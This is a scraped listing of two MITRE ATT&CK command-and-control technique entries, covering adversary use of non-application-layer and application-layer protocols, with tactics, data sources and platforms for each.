Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre